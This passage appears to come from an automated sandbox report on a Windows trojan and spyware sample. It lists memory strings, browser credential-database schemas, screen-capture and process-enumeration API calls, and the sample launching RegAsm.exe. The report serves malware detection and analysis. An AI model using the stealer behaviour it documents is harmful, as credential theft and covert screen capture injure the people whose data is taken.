Source: HJDBFBKK.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 00000003.00000002.1847160459.00000000276E2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1820758252.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.3.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: HJDBFBKK.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: AKEGIIJDGHCAKFHJEHCFIJJEGI.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00419010

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 314368

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	3_2_6C31ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C35B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35B8C0 rand_s,NtQueryVirtualMemory,	3_2_6C35B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C35B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C2FF280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2F35A0	3_2_6C2F35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36542B	3_2_6C36542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C335C10	3_2_6C335C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C342C10	3_2_6C342C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36AC00	3_2_6C36AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36545C	3_2_6C36545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C305440	3_2_6C305440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3534A0	3_2_6C3534A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35C4A0	3_2_6C35C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C306C80	3_2_6C306C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C336CF0	3_2_6C336CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FD4E0	3_2_6C2FD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31D4D0	3_2_6C31D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3064C0	3_2_6C3064C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C320512	3_2_6C320512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31ED10	3_2_6C31ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C30FD00	3_2_6C30FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3585F0	3_2_6C3585F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C330DD0	3_2_6C330DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C359E30	3_2_6C359E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C337E10	3_2_6C337E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C345600	3_2_6C345600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C366E63	3_2_6C366E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FC670	3_2_6C2FC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C319E50	3_2_6C319E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C333E50	3_2_6C333E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C314640	3_2_6C314640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C342E4E	3_2_6C342E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C354EA0	3_2_6C354EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C315E90	3_2_6C315E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C35E680	3_2_6C35E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C30FEF0	3_2_6C30FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3676E3	3_2_6C3676E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FBEF0	3_2_6C2FBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C337710	3_2_6C337710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C309F00	3_2_6C309F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3477A0	3_2_6C3477A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C326FF0	3_2_6C326FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FDFE0	3_2_6C2FDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C33B820	3_2_6C33B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C344820	3_2_6C344820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C307810	3_2_6C307810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C33F070	3_2_6C33F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C318850	3_2_6C318850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31D850	3_2_6C31D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3260A0	3_2_6C3260A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31C0E0	3_2_6C31C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3358E0	3_2_6C3358E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3650C7	3_2_6C3650C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C34B970	3_2_6C34B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36B170	3_2_6C36B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C30D960	3_2_6C30D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C31A940	3_2_6C31A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C32D9B0	3_2_6C32D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FC9A0	3_2_6C2FC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C335190	3_2_6C335190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C352990	3_2_6C352990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C339A60	3_2_6C339A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C30CAB0	3_2_6C30CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C362AB0	3_2_6C362AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2F22A0	3_2_6C2F22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C324AA0	3_2_6C324AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C36BA90	3_2_6C36BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C311AF0	3_2_6C311AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C33E2F0	3_2_6C33E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C338AC0	3_2_6C338AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C33D320	3_2_6C33D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C30C370	3_2_6C30C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2F5340	3_2_6C2F5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2FF380	3_2_6C2FF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3653C8	3_2_6C3653C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C466C00	3_2_6C466C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3AAC60	3_2_6C3AAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C47AC30	3_2_6C47AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3FECD0	3_2_6C3FECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C39ECC0	3_2_6C39ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4CAD50	3_2_6C4CAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C46ED70	3_2_6C46ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C528D20	3_2_6C528D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A4DB0	3_2_6C3A4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C52CDC0	3_2_6C52CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C436D90	3_2_6C436D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C43EE70	3_2_6C43EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C480E20	3_2_6C480E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C440EC0	3_2_6C440EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C426E90	3_2_6C426E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3AAEC0	3_2_6C3AAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C40EF40	3_2_6C40EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A6F10	3_2_6C3A6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C462F70	3_2_6C462F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E0F20	3_2_6C4E0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3AEFB0	3_2_6C3AEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C47EFF0	3_2_6C47EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3A0FE0	3_2_6C3A0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4E8FB0	3_2_6C4E8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C474840	3_2_6C474840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3F0820	3_2_6C3F0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C42A820	3_2_6C42A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4A68E0	3_2_6C4A68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3F6900	3_2_6C3F6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3D8960	3_2_6C3D8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4BC9E0	3_2_6C4BC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C3D49F0	3_2_6C3D49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4309A0	3_2_6C4309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C45A9A0	3_2_6C45A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4609B0	3_2_6C4609B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C41CA70	3_2_6C41CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C44EA00	3_2_6C44EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C458A30	3_2_6C458A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C41EA80	3_2_6C41EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C4A6BE0	3_2_6C4A6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C440BA0	3_2_6C440BA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C5209D0 appears 113 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3394D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C32CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004045C0 appears 316 times

Source: file.exe, 00000000.00000000.1691371192.00000000000A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVQP.exeD vs file.exe
Source: file.exe, 00000000.00000002.1699238755.000000000082E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exeD vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/23@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C357030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C357030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

3_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: AFIEGCAECGCAEBFHDHIE.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.1852727545.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1838092023.000000001B666000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.3.dr, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: RegAsm.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: RegAsm.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
